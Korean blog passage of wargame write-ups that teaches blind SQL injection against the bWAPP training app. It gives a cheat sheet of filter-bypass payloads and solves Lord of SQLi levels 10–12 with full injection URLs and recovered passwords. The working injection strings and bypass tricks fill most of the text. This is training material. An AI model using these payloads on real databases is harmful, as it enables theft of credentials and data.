이걸 확인해서 쿼리의 참과 거짓을 판별할 수 있다.





UNION SELECT 구문을 입력하면 SQL 문법이 틀리다는 메시지를 출력한다. SQL 문법 오류 메시지가 아닌 참인 메시지를 출력할 때 까지 칼럼 수를 늘려 입력한다.




그럼 ' UNION SELECT ALL 1,2,3,4,5,6,7# 총 7개의 칼럼을 넣어야만 오류가 나지 않는걸 확인할수 있다.


Blind SQL 인젝션에 사용할 쿼리는 항상 참이 되는 쿼리와 정보를 추출할 쿼리를 조합하여 입력한다.

'or 1=1  쿼리로 서버의 정상 쿼리와 연결한 뒤 length 함수와 substring 함수를 사용하여 데이터베이스 내용을 추측한다.


1.우선 length 함수를 사용하여 데이터 베이스 이름의 길이를 추측한다


'or 1=1 and length(database())=5# 5를 입력하자 참인 문구가 실행되는걸 보니 database() 의 길이는 5다


이제 글자를 확인해야하는데 


'or 1=1 and substring(database(),1,1)='a'# (거짓)

'or 1=1 and substring(database(),1,1)='b'#(참)


쿼리 결과를 확인하면  database() 함수의 첫 글자가 b인걸 확인할수있다


다음 글자는 

'or 1=1 and substring(database(),2,1)='a'#

'or 1=1 and substring(database(),2,1)='b'#

이렇게 값을 하나하나 입력해서 두번째 글자를 찾을수 있다


만약 ' 싱글쿼터가 필터링으로 막힌 경우에는

'or 1=1 and ascii(substring(database(),1,1))=98#

아스키 값을 입력해서 구할수 있다.


나온 아스키 코드 값들은 아스키 코드 표를 보고 하나하나 비교해도 괜찮고

mysql 내장함수에 있는 ascii 코드 함수를 사용해도 값을 비교할수있다 


만약 ascii substring 모두 필터링을 당한경우

ascii 는 hex(),ord() 로 우회가 가능하고

substring 는 substr로 우회가 가능하다


우회 방법에 대해서는 대응방안을 설명하면서 다시 정리하겠다.




다음은 테이블 명의 길이를 알아내는 쿼리인데

MySQL 버전이 5 이상이므로 MySQL의 메타데이터인 information_schema를 사용한다. where 조건으로 테이블의 타입을 지정하면 information_schema에 있는 메타 데이터 저장용 테이블을 제외하게 된다.


limit 연산자로는 조건에 맞는 테이블 중 위에서부터 선택할 수 있다. 즉,다음 쿼리에서는 bWAPP 데이터베이스에 저장된 테이블 중 첫 번째 테이블 하나를 출력한다.


'or 1=1 and length((select table_name from infromation_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#


length로 함수의 길이가 4라는걸 알았고


ascii 함수와 substring 함수를 이용하여 한글자 한글자 확인할 수 있다


'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))<100#


첫 글자를 구하는 쿼리이다

이렇게 숫자를 정해서 하나하나 비교해 가다보면 (비교는 참,거짓 문구로 비교)



'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))=98#


98을 입력하니 참인 문구가 나왔다


이말은 table_name 의 첫번째 칼럼의 첫번째 이름의 ascii 코드 값이 98 즉 문자 b라는 소리이다


이렇게 처음 테이블 이름부터 하나하나 검색해 가다보면 네 번째 테이블이 user 라는 정보를 알게 된다


user 테이블 칼럼 명의 길이를 파악하기 위하여 다시 length 함수를 사용하고 limit 연산자로 첫 번째 칼럼으로 지정한다 


'or 1=1 and length((select column_name from information_schema.columns where table_name='user' limit 0,1))=2#


길이가 2일때 참인 메시지를 출력한다


이제 ascii와 substr을 이용하여 값을 하나하나 구해주면 된다



12번



*참고 

1. substr 우회

   right, left, mid 사용

   substr('apple',1,1) = 'a'  ->  right(left('apple',1),1) = 'a'

   substr('apple',1,1) = 'a'  ->  mid('apple',1,1) = 'a'

2. ascii 우회

   ord, hex 사용

   ascii(substr(pw,1,1)) = ord(substr(pw,1,1))

3. =, like, or, and 우회

  = : like, between, in, instr 이용

  or : ||   and : &&

4. 빈칸(공백) 우회

  ' ' : ( ), /**/, %09, %0a, %0c, %0b, +

 - HT(Horizontal Tab) = 수평탭, LF(Line Feed), VT(Vertical Tab) = 수직탭, FF(Form Feed)

5. ' (작은따옴표) 우회

  char 이용 or " (큰따옴표) 사용

6. ereg, eregi 우회

  - 특수문자 = %00 이용

  - 문자열 = 대소문자 변경

7. preg_match 우회

 \ 이용

8. 에러 발생 시 에러를 보여주지 않고 그냥 exit()로 종료 시킬 때

 - error based blind 기법 활용

 ex) ' or id='admin' and if(substr(hex(pw),1,1)='1',(select 1 union select 2),2)#

 ex) ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)# <- if나 case 등 조건문이 필터링되었을 경우




https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1%20%20or%201%20like%201%20id%20like%20%22admin%22


https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 like 1 and armor(mid((pw),1,1))<120 %23


substr(string,a,b)

right(left(string,a),b)



https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 like 1 and length(pw) like 8%20%23

8자리고


비밀번호는:1c62ba6f


49,99,54,50,98,97,54,102

https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 lkie 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23


pw는 '' 라서 오류를 낼 방법이 없으니까

no로 오류를 발생시켜야한다 no는 숫자라서 space로 오류를 낼수가있다 그래서 오류를 내고 1=1 줘서 모든 값을 출력한다 

그다음 쿼리를 쓰기위해서 id='admin' 을 해야하는데 여기서 ' 싱글쿼터를 막아서 id='admin' 조건을 줄수없으니까 no를 활용해야한다  

그래서 limit사용해서 구조를 파악하니까 admin은 no가 2가 출력이 되었다

그래서 no=2를주고 ascii랑 substr이 막혀서 각각 armor mid 로 우회해서 값을 찾아 입력하였다


https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12
[LOS] 11번 문제-golem  (0) 2017.12.10
[LOS] 10번 문제-skeleton  (0) 2017.12.10
[LOS] 9번 문제-vampire  (0) 2017.12.10

11번




?pw='|| id like 'admin %26%26 length(pw)<9 %23

길이를 먼저 구해주고 8글자 



?pw=%27||%20id%20like%20%27admin%27%20%26%26%20length(pw)<9%20%23

and or  =

막힌 문자열을 우회처리해서 값을 구해준다 


답:88e3137f



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 13번 문제-bugbear  (0) 2017.12.12
[LOS] 12번 문제-darkknight  (0) 2017.12.10
[LOS] 10번 문제-skeleton  (0) 2017.12.10
[LOS] 9번 문제-vampire  (0) 2017.12.10
[LOS] 8번 문제-troll  (0) 2017.12.10

10번


https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw='or 1=1 limit 1,1 %23

뒤에

$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 

1=0을 주석 처리 해버리고

리미트 써서 풀어 주면 답이 출력된다

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 12번 문제-darkknight  (0) 2017.12.10
[LOS] 11번 문제-golem  (0) 2017.12.10
[LOS] 9번 문제-vampire  (0) 2017.12.10
[LOS] 8번 문제-troll  (0) 2017.12.10
[LOS] 7번 문제-orge  (0) 2017.12.09

+ Recent posts